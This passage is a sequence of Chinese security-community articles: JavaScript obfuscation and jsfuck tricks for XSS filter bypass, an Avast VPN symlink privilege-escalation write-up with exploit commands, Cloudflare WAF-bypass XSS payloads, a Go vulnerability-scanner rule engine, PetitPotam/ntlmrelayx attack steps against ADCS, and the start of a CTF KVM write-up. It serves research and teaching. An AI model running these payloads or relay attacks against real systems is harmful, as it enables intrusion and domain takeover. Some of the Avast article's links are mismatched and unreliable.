然后这里Object.constructor===Function这是恒等的关系。你可以在控制台试试，会返回true。
所以我们可以使用以下方式创建，并执行一个函数:
newFunction("alert(1)")();
也可以不要new关键字
Function("alert(1)")()
然后可以将Function转换下，这里"..."是一个任意字符串，也可以为空，然后"...".substr就是一个Object，所以这代码和上面是等效的。
"...".substr.constructor("alert(1)")()
再转换下，对象可以写成中括号的形式，比如a.b可以写成a['b']这样子。
"..."["substr"]["constructor"]("alert\(1)")()
然后由于在字符串全部转义，任意字符串js中都可以写成+ASCII码的8位形式，也就是查询到字母的ASCII码然后将其转换为8进制时候的结果。
"..."["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\\141\\154\\145\\162\\164\\50\\61\\51")()
好了，这样就可以不用任何字母执行一段js代码了。
也可以这样。
newFunction("alert(1)")();
等价于
[].constructor.constructor('alert(1)')()
等价于
[]['constructor']['constructor']('alert\(1)')()
赋值个变量，缩短下代码，等价于
[][$='constructor'][$]('alert\(1)')()
然后替换下所有字符串，等价于
[][$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\\141\\154\\145\\162\\164\(1)')()
哈哈，好像比上面的还要短点。这个在有的xss绕过时候蛮有用的。
下面说说jsfuck的原理。
先看一段代码
[][(
复制这段代码，放到谷歌浏览器控制台执行，可以看到弹1了，是不是很神奇，其实这段代码就是alert(1)在经过了N次变形的结果。
然后由于代码只用到了[]+!()6个字符而已，这个有个专业的名称，叫做jsfuck。
只是看这一堆代码，谁也不知道这是啥意思，也不知道是怎么来的，为啥就会执行alert(1)，所以下面来给解释下原理。
[]等于创建了一个array对象，也就是一个数组，然后![]是取反，控制台直接执行这个会看到，返回了false。那么!![]也就是对false取反，会返回true。
下来再说一个知识，在js中等于关系有两种，==叫做等于，===叫做恒等。区别是这样，恒等的一定满足等于，但是反之则不一定成立，1+1===2，true，1，'1'是==的，false，0，'0'也是==的，还有像[]，''，0，false也是==的关系。
还有个知识，就是字符串和数字相加，数字会自动转换为字符串类型，返回的结果会是字符串。字符串和数字相减，字符串会转换为数字类型，返回的会是数字。
还有一些特殊的，不是字符串也不是数字的时候，像true+true返回2，true+false会返回1。
所以 +true的结果是1，+false的结果是0。在结合上面说到的，这样+!![]表示的就是1，+![]表示的就是0了。
原理就是这样子，然后因为alert(1)可以写成，[]['constructor']['constructor']('alert\(1)')()，所以只需要将关键字constructor和alert(1)对应的jsfuck对应的表达形式构造出来，在进行连接就可以了。由于不能用引号，所以这里括号也必须重新构造。
这里直接给出构造思路。那就是利用字符串的可以直接用下标进行读取的特性，比如字符串'abcd'，那么'abcd'[2]就会返回'c'。
所以a怎么获取呢，因为![]代表的是fasle，所以![][1]就是'a'，然后再将这里的1替换掉，就是![][+!![]]，这时候你去试试会发现怎么返回的是true不是'a'啊。那是因为这里的![]不是字符串，所以需要将其先转换为字符串，很简单这样就可以了，(![]+[])[+!![]]控制台直接输入代码就可以看到效果。
其他的关键字的字符也都是这么慢慢转换过来的。这里就不在一一列举了，感兴趣的可以看这里有详细的构造思路。<https://github.com/aemkei/jsfuck> | 社区文章 |
# 分析AVAST SecureLine VPN任意文件创建漏洞
##### 译文声明
本文是翻译文章，文章原作者 nafiez，文章来源：nafiez.github.io
原文地址：<https://nafiez.github.io/security/arbitrary%20file/eop/2020/07/21/avast-secureline-vpn-arb-file-eop.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 绪论
Avast SecureLine VPN允许用户通过安全的Avast VPN服务器在加密信道上连接互联网，保护用户的网络活动免遭监听。Avast
SecureLine VPN增强了用户上网的安全性和隐私性，在连接到公共网络或者不安全的无线网络时很有用。
Avast SecureLine VPN服务默认在C:\ProgramData\AVAST
Software\SecureLine\log下创建日志文件，文件是由Avast
SecureLine服务的特权（SYSTEM）进程所创建、访问和操作的。日志和所在的文件夹都有宽松的访问权限，允许非特权用户创建/删除文件或更改属性。Avast
SecureLine VPN 5.5.522.0版受影响，更低版本可能也受影响，但没测试过。漏洞在5.6.4982.470版修复。
## 0x01 漏洞分析
以高特权（如SYSTEM）运行且可对用户文件进行无限制操作的进程可能导致安全问题，这些特权进程可能被滥用从而执行不安全操作。多数特权程序会操作一些位于用户可访问位置的文件，根据[这篇文章](https://offsec.almond.consulting/intro-to-file-operation-abuse-on-Windows.html)所述，以下是一些有意思的文件位置：
* 用户专属的文件和文件夹，包括AppData和Temp目录，如果安装了杀毒软件的话，一些特权进程可能会使用这些文件和目录
* 公共用户的文件和目录
* 创建在C:\且带有默认ACL的目录：分区根目录下创建的文件夹默认拥有宽松的ACL，允许用户写入
* C:\ProgramData下带有默认ACL的子目录：默认情况下，用户可以创建文件和目录，但不能修改已有项目。这个目录常常是攻击时首先考虑的。
* C:\Windows\Temp的子目录：默认情况下，用户可以创建文件和目录，但不能修改已有项目，对其他用户所属的项目，也不能读取文件/访问文件夹。
文件和目录的权限可以用多种方法查看，比如Powershell的Get-Acl或者属性的安全选项卡。日志文件由SYSTEM进程创建，且对用户可写。通过滥用日志文件的创建，可以实现任意文件创建：非特权用户可以用指向任意文件的符号链接替换这些日志文件。当日志生成时，有特权的AVAST
SecureLine VPN进程将会创建日志文件并设置其访问权限，这就给了我们写权限。AVAST SecureLine用的权限如下图所示：
可以用Process Monitor工具观察文件操作。一旦发现对用户可控的文件/目录的操作，我们就需要思考如何利用这些操作。James
Forshaw提出了若干滥用Windows文件系统和路径解析功能的方法，还发布了一个符号链接测试工具集，给研究者做PoC用。有很多方法可以用来利用此类漏洞，包括：
* NTFS目录联接
* 硬链接
* 对象管理器符号链接
* 机会锁
低权限用户可以使用三种符号链接：
* 对象管理器符号链接
* 注册表键符号链接
* NTFS挂载点
我用的是对象管理器符号链接来利用漏洞。[@clavoillotte](https://github.com/clavoillotte
"@clavoillotte")在他[博客](https://bits.avcdn.net/productfamily_VPN/insttype_PRO/platform_WIN/installertype_ONLINE/build_RELEASE/cookie_mmm_scl_003_999_a4g_m)中提到，非特权用户可以在Windows对象管理器中创建符号链接，对象管理器管理进程、section、文件之类的对象。对象管理器用符号链接来把驱动器字符和命名管道与相应的设备关联起来。用户可以在可写的对象目录中创建对象符号链接，比如在\RPC
CONTROL\中创建，这些符号链接可以指向任意路径——包括文件系统上的路径——不管这个路径是否实际存在。对象符号链接和NTFS目录联接结合起来十分有意思，非特权用户可以创建挂载点，使其解析到\RPC
CONTROL\目录，而在这个目录中又有一个对象管理器符号链接。例如：
## 0x02 漏洞利用
非特权用户可以执行以下操作来利用漏洞：
* 删除C:\ProgramData\AVAST Software\SecureLine\log中所有文件
* 创建伪符号链接C:\ProgramData\AVAST Software\SecureLine\log\vpn_engine.log，指向C:\Windows\System32\pwned.dll
* 重启SecureLine服务，或者等待电脑重启，然后服务就会在C:\Windows\System32目录下创建任意文件
这导致任意内容文件创建漏洞，我们可以用符号链接来把一个特定日志文件重定向到任意文件，改文件名由攻击者选择，比如：
漏洞利用步骤：
删除日志目录下所有文件，用Powershell命令删除文件：
Remove-Item -Force "C:\ProgramData\AVAST Software\SecureLine\log\*"
用James Forshaw的CreateSymlink工具创建符号链接，所用命令：
CreateSymlink.exe "C:\ProgramData\AVAST Software\SecureLine\log\vpn_engine.log" C:\Windows\System32\pwned.dll
成功利用漏洞，在目标文件夹中创建了文件。
我写了PoC，代码在[这里](https://raw.githubusercontent.com/nafiez/Vulnerability-Research/master/avast_secureline_vpn_poc.c)。要和James
Forshaw的[符号链接工具集](https://bits.avcdn.net/productfamily_VPN/insttype_PRO/platform_WIN/installertype_ONLINE/build_RELEASE/cookie_mmm_scl_003_999_a4g_m)一起编译。PoC需要管理员权限才能运行，因为启动/停止服务功能需要管理员权限，如何避免这点就留给读者实现吧。
## 0x03 漏洞披露时间线
漏洞是我飞韩国参加POC会议前几天发现的，我只花了几小时找漏洞和利用。2019年11月就已经报告了这个漏洞，遵守了AVAST的标准披露程序，时间线如下：
* 2019-11-02——漏洞报告给AVAST安全团队（邮件）
* 2019-11-05——厂商回复将调查漏洞
* 2020-01-23——跟进漏洞。厂商确认漏洞并告知内部正在发生变动，所以修补可能要花费一些时间
* 2020-03-02——再次跟进漏洞。厂商首要任务是杀毒软件，其次才是其他产品
* 2020-05-18——跟进漏洞。厂商之前通知VPN产品的补丁会在五月底发布，但进展不顺利，所以推迟到六月
* 2020-06-26——再次跟进漏洞。厂商告知周一将发布修补后的版本（即2020年6月29日）
* 2020-07-14——确认5.6.4982.470版已部署补丁，联系厂商询问CVE与发表博客文章有关事宜。厂商回复不分配CVE，可自己申请。因为补丁已部署，所以厂商允许发表文章描述漏洞。修复后的版本[在这里](https://bits.avcdn.net/productfamily_VPN/insttype_PRO/platform_WIN/installertype_ONLINE/build_RELEASE/cookie_mmm_scl_003_999_a4g_m)。
* 2020-07-22——申请CVE，等待中 | 社区文章 |
## 前言
结合在twitter和reddit上看到大佬们的各种生成字符的方式来谈谈waf的相关绕过
## 生成字符
### 1\. 生成/code/字符串
var bs= 'ao0PTA7YWxlcnQoMTMzNykvLwa';
empty=RegExp.prototype.flags;
xx={};
xx.source=bs;
xx.flags=empty;
xx.toString=RegExp.prototype.toString;
### 2.生成:(?)
yy={...RegExp.prototype.source}
yy.toString=Array.prototype.shift
yy.length=4
left=yy+empty //生成(
que = yy+empty //生成?
colon=yy+empty //生成:
right=yy+empty //生成)
### 3.生成/
x=console;
x.toString = RegExp.prototype.toString;
x.valueOf = String.prototype.charAt;
x + "" // /
### 4.生成[
x=console
x.valueOf=String.prototype.charAt
x + "" // [
### 5.字符串大小写转换
x = ["a"]
x.valueOf = String.prototype.toUpperCase
x + "" // A
## Bypass Waf
常见的一些方式这里就不说了，直接到[这里](https://owasp.org/www-community/xss-filter-evasion-cheatsheet "这里")淘便是，这里仅说一下最近看到的。
### 1.使用展开符和正则绕过单引号
首先将对象展开，然后将对象转为数组，最后用shift方法从数组中获取字符
x={...eval+0,toString:Array.prototype.shift,length:15},
x+x+x+x+x+x+x+x+x+x+x+x+x,
x=/alert/.source+x+1337+x;
location=/javascript:/.source+x;
### 2.使用instanceof
window[Symbol.hasInstance]=eval
atob`YWxlcnQoMSk` instanceof window
### 3.使用constructor
atob.constructor(atob`YWxlcnQoMSk`)``
或者
atob.constructor(atob(/YWxlcnQoMSk/.source))()
### 4.使用新特性
void''??globalThis?.alert?.(...[0b1_0_1_0_0_1_1_1_0_0_1,],)
## 关于绕cloudflare的一点思考
最近做项目的过程中，发现一受到cloudflare保护的站存在XSS，简单构造了一个payload顺利的执行弹窗:
"><body/onload="throw%20onerror=alert,1,2,3,11;"><a+href="
但受到clodflare的影响，无法使用括号、注释符、模板字符、大括号及特定关键字等，不能实现任意代码执行，网上找了找文章，发现去年5月@garethheyes在portswigger上发了一篇名为XSS
without parentheses and semi-colons的文章，其主要实现代码如下：
x=new DOMMatrix;
matrix=String.fromCharCode;
i=new DOMMatrix;
i.a=106;//j
i.b=97;//a
i.c=118;//v
i.d=97;//a
i.e=115;//s
i.f=99;//c
j=new DOMMatrix;
j.a=114;//r
j.b=105;//i
j.c=112;//p
j.d=116;//t
j.e=58;//:
j.f=32;//space
x.a=97;//a
x.b=108;//l
x.c=101;//e
x.d=114;//r
x.e=116;//t
x.f=40;//(
y=new DOMMatrix;
y.a=49;//1
y.b=51;//3
y.c=51;//3
y.d=55;//7
y.e=41;//)
y.f=59;//;
location='javascript:a='+i+'+'+j+'+'+x+'+'+y+';location=a;void 1';
执行以上代码可直接直接alert(1337),具体实现请移步[这里](https://portswigger.net/research/xss-without-parentheses-and-semi-colons "这里")
以上代码虽然能成功执行，但面对cloudflare还是无法顺利bypass
其主要原因是因为使用了location关键字，在cloudflare中一旦location被赋值将触发拦截，也就是说a=location;不拦截，而location=a;会拦截。那么我们很快便能想到如下的方式：
a=location;
a.href="javascript:alert(1)";
或者
a.search="?id=javascript:alert(1);";
再或者
a.pathname="/index/index.php?id=javascript:alert(1);";
但很不幸，这样的方式同样会被拦截，为此我尝试了很多种方式均无法bypass，希望有大佬指点指点。 | 社区文章 |
历史内容：
* 第一篇：<https://xz.aliyun.com/t/9701>
本篇主要聊一聊框架核心模块：规则体系。
## 0x01 写在前面
在上篇文章提到过，[xray](https://docs.xray.cool/#/guide/poc) 有着完善的规则体系，而且业内同志提交的 poc
积极性很高，所以更新较快，质量也很高，有很多值得借鉴之处。因此我想在 xray 规则的基础上设计一套规则体系，既能兼容 xray 的
poc，又能融入自己的一些想法。
xray poc 的运行原理，简单来说就是根据`自定义的规则`对`原始请求`变形，然后获取变形后的响应，再检查响应是否匹配规则中定义的表达式。
我认为这里有几个关键点：
1. 原始请求来源
2. 兼容 xray 现在规则
3. 扩展 xray：组包时更细致的分类
## 0x02 原始请求来源
原始请求就是根据待检测目标构造 HTTP 请求包，构造原始包时通常有以下来源：
1. url 。根据输入的 url 补充基础请求头，生成基础的 get http 请求，类似于`Burpsuite Repeater`的`Parse URL As Request`。
核心代码：
func GenOriginalReq(url string) (*http.Request, error) {
// 生成原始请求，如果没有协议默认使用http
if strings.HasPrefix(url, "http://") || strings.HasPrefix(url, "https://") {
} else {
url = "http://" + url
}
originalReq, err := http.NewRequest("GET", url, nil)
if err != nil {
log.Error("util/requests.go:GenOriginalReq original request gen error", url, err)
return nil, err
}
originalReq.Header.Set("Host", originalReq.Host)
originalReq.Header.Set("Accept-Encoding", "gzip, deflate")
originalReq.Header.Set("Accept","*/*")
originalReq.Header.Set("User-Agent", conf.GlobalConfig.HttpConfig.Headers.UserAgent)
originalReq.Header.Set("Accept-Language","en")
originalReq.Header.Set("Connection","close")
return originalReq, nil
}
1. 直接输入 http 报文文件。解析该文件，生成 http 请求，类似于`Burpsuite Repeater`的`Parse from file`。go 语言可使用原生 http 包的`http.ReadRequest`方法实现。
核心代码：
func GenOriginalReqFromRaw(filePath string) (*http.Request, error) {
raw, err := ioutil.ReadFile(filePath)
if err != nil {
c.JSON(msg.ErrResp("请求报文文件解析失败"))
return nil, err
}
oreq, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(raw)))
if err != nil {
return nil, err
}
if !oreq.URL.IsAbs() {
scheme := "http"
oreq.URL.Scheme = scheme
oreq.URL.Host = oreq.Host
}
return oreq, nil
}
1. 三是通过代理的形式监听获取（如 xray 浏览器代理模式）
## 0x03 兼容 xray
xray 的规则体系是基于 Common Expression Language ( cel 表达式) 实现的。Google 官方提供了 go 语言的
cel 包 [cel-go](https://github.com/google/cel-go)。通过向 cel
环境注入变量、方法，即可在该环境内动态的执行表达式，并返回 bool 型结果（符合 or 不符合）。
### cel表达式
运行 cel 表达式有三个过程：
1. 构建 cel 环境。初始化一个 cel.Env
2. 向 cel 环境中注入类型、方法。xray 规则所有的变量、方法，可参考[这里](https://docs.xray.cool/#/guide/poc?id=%e5%86%85%e9%83%a8%e5%8f%98%e9%87%8f%e4%b8%8e%e5%87%bd%e6%95%b0%e9%80%9f%e6%9f%a5)。为兼容 xray ，依照文档实现所有类型、方法（包括文档中未提及的 icontains 方法），[完整实现](https://github.com/jweny/pocassist/blob/master/pkg/cel/cel.go)。
3. 计算表达式。计算表达式的逻辑很简单，传入表达式、cel 环境、以及要检测变量列表即可。对于 xray 来说，要检测的变量列表，除了注入到环境的几个类型（UrlType、Request、Response、Reverse）之外，还要考虑 [Set](https://docs.xray.cool/#/guide/poc?id=poc-%e7%bb%93%e6%9e%84) 中自定义的变量，表达式中使用 `{{}}`的部分需要替换成 Set 的 Value。[完整实现](https://github.com/jweny/pocassist/blob/master/pkg/cel/cel.go#L444)。
值得一提的是，set 中自定义的变量可能引用之前的变量，所以 set 一定是要有序加载的，，因此建议不要使用 go 的map 去保存 set（因为 map
是无序的）。可以使用`gopkg.in/yaml.v2`包的 `MapSlice`保存。
我们可以定一个 `cel controller` 去管理整个 cel
的生命周期，[完整实现](https://github.com/jweny/pocassist/blob/master/poc/rule/cel.go)。
### 构造请求
上面提到过， poc 的运行阶段，一共有两个请求：一是原始请求，二是根据规则构造的请求。
poc 规则直接决定了对原始请求如何变形。这里以 airflow 未授权访问漏洞的 poc 举例。
name: poc-yaml-airflow-unauth
rules:
- method: GET
path: /admin/
expression: |
response.status == 200 && response.body.bcontains(b"<title>Airflow - DAGs</title>") && response.body.bcontains(b"<h2>DAGs</h2>")
检测目标为`testphp.vulnweb.com/aaa/bbb.html` 时，原始请求就应该是：
GET /aaa/bbb.html HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Connection: close
根据 poc 规则，漏洞所在的 path 为`/admin`，如果airflow部署在二级目录`/aaa/`，那么
poc的请求就应该是`/aaa/admin`。规则中没有配置请求头，那么就使用原始请求的请求头。
xray 是以目录为单位进行扫描，因此 xray 变形后请求为：
GET /aaa/admin/ HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Connection: close
为了追求性能，尽可能的小内存占用，发起请求时，我使用了更高效的
[fasthttp](https://github.com/valyala/fasthttp) 替换掉原生的 http
包。因此定义了一个`*fasthttp.Request`去保存构造的 go 原生的 http对象。
[完整实现](https://github.com/jweny/pocassist/blob/master/poc/rule/request.go)
### 检测链控制
xray 的单个 [rule](https://docs.xray.cool/#/guide/poc?id=poc-%e7%bb%93%e6%9e%84)
的表达式返回值是一个bool 型结果（符合 or 不符合），这个结果作为整个 rule 的值，也就是对应了一个请求/响应。
通常来说一个 poc 是有多个请求和响应的检测链。xray 中定义了两种检测链格式。
一是 rules 。 rule 组成的有序列表（[]rule），值为 true 的 rule ，如果后面还有其他 rule ，则继续执行后续 rule
，如果后续没有其他 rule ，则表示该 poc 的结果是 true 。
二是 groups 。 rules 组成的列表`map[string]rules`，只要有一组 rules 执行成功，就认为该 poc 的结果为 true
。
所以原则上来说 groups 和 rules 只能存在一个。我这里才去的方式是先校验 groups 是否为空，非空才去执行rules。核心代码：
func ExecExpressionHandle(ctx controllerContext){
var result bool
var err error
poc := ctx.GetPoc()
if poc == nil {
log.Error("[rule/handle.go:ExecExpressionHandle error] ", "poc is nil")
return
}
if poc.Groups != nil {
result, err = ctx.Groups(ctx.IsDebug())
} else {
result, err = ctx.Rules(poc.Rules,ctx.IsDebug())
}
if err != nil {
log.Error("[rule/handle.go:ExecExpressionHandle error] ", err)
return
}
if result {
ctx.Abort()
}
return
}
### poc运行
基于以上分析，poc 中运行的流程如下：
1. 获取原始请求，根据规则进行变形，构造请求
2. 初始化 cel 环境：注入变量、方法
3. 初始化 cel 变量列表：注入set定义的自定义变量、注入当前请求（构造的请求）
4. 发起构造后的请求，并将响应写入cel变量列表
5. 执行表达式
[ poc 运行过程的完整实现](https://github.com/jweny/pocassist/tree/master/poc/rule)
## 0x04 扩展xray
xray 以目录为单位进行扫描，足够覆盖绝大多数场景，但我认为还可以再细分下。
1. 目录级的定义可以再完整些。以`testphp.vulnweb.com/aaa/bbb/ccc.html`为例，如果以目录为单位的话，应该扫描三个目录：`/`、`/aaa/`、`bbb`。
2. 某些通用漏洞的组件通常独占端口且部署在一级目录，为减少请求数，只扫描一级目录`/`。
3. 每个请求的响应（包括原始请求和每个变形后的请求）都应该检查一遍响应，例如是否为常见 CMS /框架的报错、绝对路径泄露、IP泄露、数据库报错等等。
4. `参数存在 SSRF`或`参数型的存储型 XSS`等，是需要逐一对原始请求的参数进行处理：直接替换为 payload 或者在原始参数后面拼 payload 。
5. 以上扫描只针对 http web 应用。对于一些复杂的 poc 或者 tcp 扫描的漏洞（如 redis 未授权）等，应该加载支持自定义脚本。
因此我在原有 xray 规则基础上，新加了一个`规则类型`的字段，根据规则所属哪种类型，去执行不同的变形逻辑。
核心代码：
// 根据原始请求 + rule 生成并发起新的请求
func (controller *PocController) DoSingleRuleRequest(rule *Rule) (*proto.Response, error) {
fastReq := controller.Request.Fast
// fixReq : 根据规则对原始请求进行变形
fixedFastReq := fasthttp.AcquireRequest()
fastReq.CopyTo(fixedFastReq)
curPath := string(fixedFastReq.URI().Path())
affects := controller.Plugin.Affects
switch affects {
// 情况4 参数级
case AffectAppendParameter, AffectReplaceParameter:
for k, v := range rule.Headers {
fixedFastReq.Header.Set(k, v)
}
return util.DoFasthttpRequest(fixedFastReq, rule.FollowRedirects)
// 情况3 content级
case AffectContent:
return util.DoFasthttpRequest(fixedFastReq, rule.FollowRedirects)
// 情况1 dir级
case AffectDirectory:
// 目录级漏洞检测 判断是否以 "/"结尾
if curPath != "" && strings.HasSuffix(curPath, "/") {
// 去掉规则中的的"/" 再拼
curPath = fmt.Sprint(curPath, strings.TrimPrefix(rule.Path, "/"))
} else {
curPath = fmt.Sprint(curPath, "/" ,strings.TrimPrefix(rule.Path, "/"))
}
// 情况2
case AffectServer:
curPath = rule.Path
// url级(直接使用原始请求头，只替换路径和完整post参数)
case AffectURL:
//curPath = curPath, strings.TrimPrefix(rule.Path, "/"))
default:
}
// 兼容xray: 某些 POC 没有区分path和query
curPath = strings.ReplaceAll(curPath, " ", "%20")
curPath = strings.ReplaceAll(curPath, "+", "%20")
fixedFastReq.URI().DisablePathNormalizing= true
fixedFastReq.URI().Update(curPath)
for k, v := range rule.Headers {
fixedFastReq.Header.Set(k, v)
}
fixedFastReq.Header.SetMethod(rule.Method)
// 处理multipart
contentType := string(fixedFastReq.Header.ContentType())
if strings.HasPrefix(strings.ToLower(contentType),"multipart/form-Data") && strings.Contains(rule.Body,"\n\n") {
multipartBody, err := util.DealMultipart(contentType, rule.Body)
if err != nil {
return nil, err
}
fixedFastReq.SetBody([]byte(multipartBody))
}else {
fixedFastReq.SetBody([]byte(rule.Body))
}
return util.DoFasthttpRequest(fixedFastReq, rule.FollowRedirects)
}
`DealMultipart`方法是处理用到`multipart`的 poc (例如验证文件上传)，应当按照 RFC
规定要将`multipart`的每个文件头和分隔符的`\n`转成`\r\n`。
核心代码：
func DealMultipart(contentType string, ruleBody string) (result string, err error) {
errMsg := ""
// 处理multipart的/n
re := regexp.MustCompile(`(?m)multipart\/form-Data; boundary=(.*)`)
match := re.FindStringSubmatch(contentType)
if len(match) != 2 {
errMsg = "no boundary in content-type"
//logging.GlobalLogger.Error("util/requests.go:DealMultipart Err", errMsg)
return "", errors.New(errMsg)
}
boundary := "--" + match[1]
multiPartContent := ""
// 处理rule
multiFile := strings.Split(ruleBody, boundary)
if len(multiFile) == 0 {
errMsg = "ruleBody.Body multi content format err"
//logging.GlobalLogger.Error("util/requests.go:DealMultipart Err", errMsg)
return multiPartContent, errors.New(errMsg)
}
for _, singleFile := range multiFile {
// 处理单个文件
// 文件头和文件响应
spliteTmp := strings.Split(singleFile,"\n\n")
if len(spliteTmp) == 2 {
fileHeader := spliteTmp[0]
fileBody := spliteTmp[1]
fileHeader = strings.Replace(fileHeader,"\n","\r\n",-1)
multiPartContent += boundary + fileHeader + "\r\n\r\n" + strings.TrimRight(fileBody ,"\n") + "\r\n"
}
}
multiPartContent += boundary + "--" + "\r\n"
return multiPartContent, nil
}
[完整实现](https://github.com/jweny/pocassist/blob/master/poc)
## 0x05 总结
本文描述的 [pocassist](https://github.com/jweny/pocassist) 的规则体系具体实现。在兼容 xray yaml
规则的基础上，对请求变形设计了更细致的分类。想了解具体实现的师傅可以先自行研究下源码，我也会在后续文档逐一分析具体的实现细节。
如果文章内有描述不清或其他问题，烦请各位师傅斧正。
## 0x06 参考
* <https://docs.xray.cool/#/guide/poc>
* <https://github.com/chaitin/xray/tree/master/pocs>
* <https://codelabs.developers.google.com/codelabs/cel-go#0>
* <https://github.com/jjf012/gopoc>
* <https://pocassist.jweny.top/dev/%E5%BC%80%E5%8F%91%E6%96%87%E6%A1%A3.html> | 社区文章 |
## 使用PetitPotam代替Printerbug
> 上帝关了一扇, 必定会再为你打开另一扇窗
## 0x00 前言
Printerbug使得拥有控制域用户/计算机的攻击者可以指定域内的一台服务器，并使其对攻击者选择的目标进行身份验证。虽然不是一个微软承认的漏洞，但是跟Net-ntlmV1,非约束委派，NTLM_Relay,命名管道模拟这些手法的结合可以用来域内提权，本地提权，跨域等等利用。
遗憾的是，在PrintNightmare爆发之后，很多企业会选择关闭spoolss服务，使得Printerbug失效。在Printerbug逐渐失效的今天，PetitPotam来了，他也可以指定域内的一台服务器，并使其对攻击者选择的目标进行身份验证。而且在低版本(16以下)的情况底下，可以匿名触发。
## 0x01 原理
`MS-EFSR`里面有个函数EfsRpcOpenFileRaw(Opnum 0)
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
他的作用是打开服务器上的加密对象以进行备份或还原，服务器上的加密对象由`FileName` 参数指定,`FileName`的类型是UncPath。
当指定格式为`\\IP\C$`的时候，lsass.exe服务就会去访问`\\IP\pipe\srvsrv`
指定域内的一台服务器，并使其对攻击者选择的目标(通过修改FileName里面的IP参数)进行身份验证。
## 0x02 细节
### 1、通过lsarpc 触发
在[官方文档](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451)里面，`MS-EFSR`的调用有`\pipe\lsarpc`和`\pipe\efsrpc`两种方法，其中
* `\pipe\lsarpc`的服务器接口必须是UUID [c681d488-d850-11d0-8c52-00c04fd90f7e]
* `\pipe\efsrpc`的服务器接口必须是UUID [df1941c5-fe89-4e79-bf10-463657acf44d]
在我本地测试发现`\pipe\efsrpc`并未对外开放
在PetitPotam的Poc里面有一句注释`possible aussi via efsrpc (en changeant d'UUID) mais ce
named pipe est moins universel et plus rare que lsarpc ;)`，翻译过来就是
`也可以通过EFSRPC（通过更改UUID），但这种命名管道的通用性不如lsarpc，而且比LSARPC更罕见`
所以PetitPotam直接是采用lsarpc的方式触发。
### 2、低版本可以匿名触发
在08和12的环境，默认在`网络安全:可匿名访问的命名管道`中有三个`netlogon`、`samr`、`lsarpc`。因此在这个环境下是可以匿名触发的
遗憾的是在16以上这个默认就是空了，需要至少一个域内凭据。
## 0x03 利用
这篇文章的主题是使用`PetitPotam`代替`Printerbug`，因此这个利用同时也是`Printerbug`的利用。这里顺便梳理复习下`Printerbug`的利用。
### 1、结合 CVE-2019-1040，NTLM_Relay到LDAP
详情见[CVE-2019-1040](https://daiker.gitbook.io/windows-protocol/ntlm-pian/7#5-cve-2019-1040),这里我们可以将触发源从`Printerbug`换成`PetitPotam`
### 2、Relay到HTTP
不同于LDAP是协商签名的，发起的协议如果是smb就需要修改Flag位，到HTTP的NTLM认证是不签名的。前段时间比较火的ADCS刚好是http接口，又接受ntlm认证，我们可以利用PetitPotam把域控机器用户relay到ADCS里面申请一个域控证书，再用这个证书进行kerberos认证。注意这里如果是域控要指定模板为`DomainController`
python3 ntlmrelayx.py -t https://192.168.12.201/Certsrv/certfnsh.asp -smb2support --adcs --template "DomainController"
### 2、结合非约束委派的利用
当一台机器机配置了非约束委派之后，任何用户通过网络认证访问这台主机，配置的非约束委派的机器都能拿到这个用户的TGT票据。
当我们拿到了一台非约束委派的机器，只要诱导别人来访问这台机器就可以拿到那个用户的TGT，在这之前我们一般用printerbug来触发，在这里我们可以用PetitPotamlai来触发。
域内默认所有域控都是非约束委派，因此这种利用还可用于跨域。
### 3、结合Net-ntlmV1进行利用
很多企业由于历史原因，会导致LAN身份验证级别配置不当，攻击者可以将Net-Ntlm降级为V1
我们在Responder里面把Challeng设置为`1122334455667788`,就可以将Net-ntlm V1解密为ntlm hash
### 4、结合命名管道的模拟
在这之前，我们利用了printerbug放出了pipePotato漏洞。详情见[pipePotato：一种新型的通用提权漏洞](https://www.anquanke.com/post/id/204510)。
在PetitPotam出来的时候，发现这个RPC也会有之前pipePotato的问题。
## 0x04 引用·
* [[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)
* [PetitPotam](https://github.com/topotam/PetitPotam) | 社区文章 |
# Confidence2020 CTF KVM
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前置知识
参考链接：<https://lwn.net/Articles/658511/>
以及resery师傅的博客：<http://www.resery.top/2020/09/13/Confidence2020%20CTF%20KVM%20Writeup/>
## 题目分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int errno_kvm; // eax
int errno_create_kvm; // eax
int errno_set_user_memory; // eax
int errno_create_vcpu; // eax
int errno_set_regs; // eax
int errno_get_sregs; // eax
int errno_set_sregs; // eax
__u32 exit_reason; // eax
unsigned int code_size; // [rsp+Ch] [rbp-8274h]
int kvmfd; // [rsp+10h] [rbp-8270h]
int vmfd; // [rsp+14h] [rbp-826Ch]
int vcpu; // [rsp+18h] [rbp-8268h]
int v16; // [rsp+1Ch] [rbp-8264h]
char *aligned_guest_mem; // [rsp+20h] [rbp-8260h]
size_t vcpu_mmap_size; // [rsp+28h] [rbp-8258h]
kvm_run *run_mem; // [rsp+30h] [rbp-8250h]
__int64 v20; // [rsp+38h] [rbp-8248h]
__int64 v21; // [rsp+40h] [rbp-8240h]
__int64 v22; // [rsp+48h] [rbp-8238h]
__u64 v23; // [rsp+50h] [rbp-8230h]
__u64 v24; // [rsp+58h] [rbp-8228h]
__int64 v25; // [rsp+60h] [rbp-8220h]
__int64 v26; // [rsp+68h] [rbp-8218h]
__int64 v27; // [rsp+70h] [rbp-8210h]
kvm_userspace_memory_region region; // [rsp+80h] [rbp-8200h]
kvm_regs guest_regs; // [rsp+A0h] [rbp-81E0h]
kvm_sregs guest_sregs; // [rsp+130h] [rbp-8150h]
char guest_mem[32776]; // [rsp+270h] [rbp-8010h]
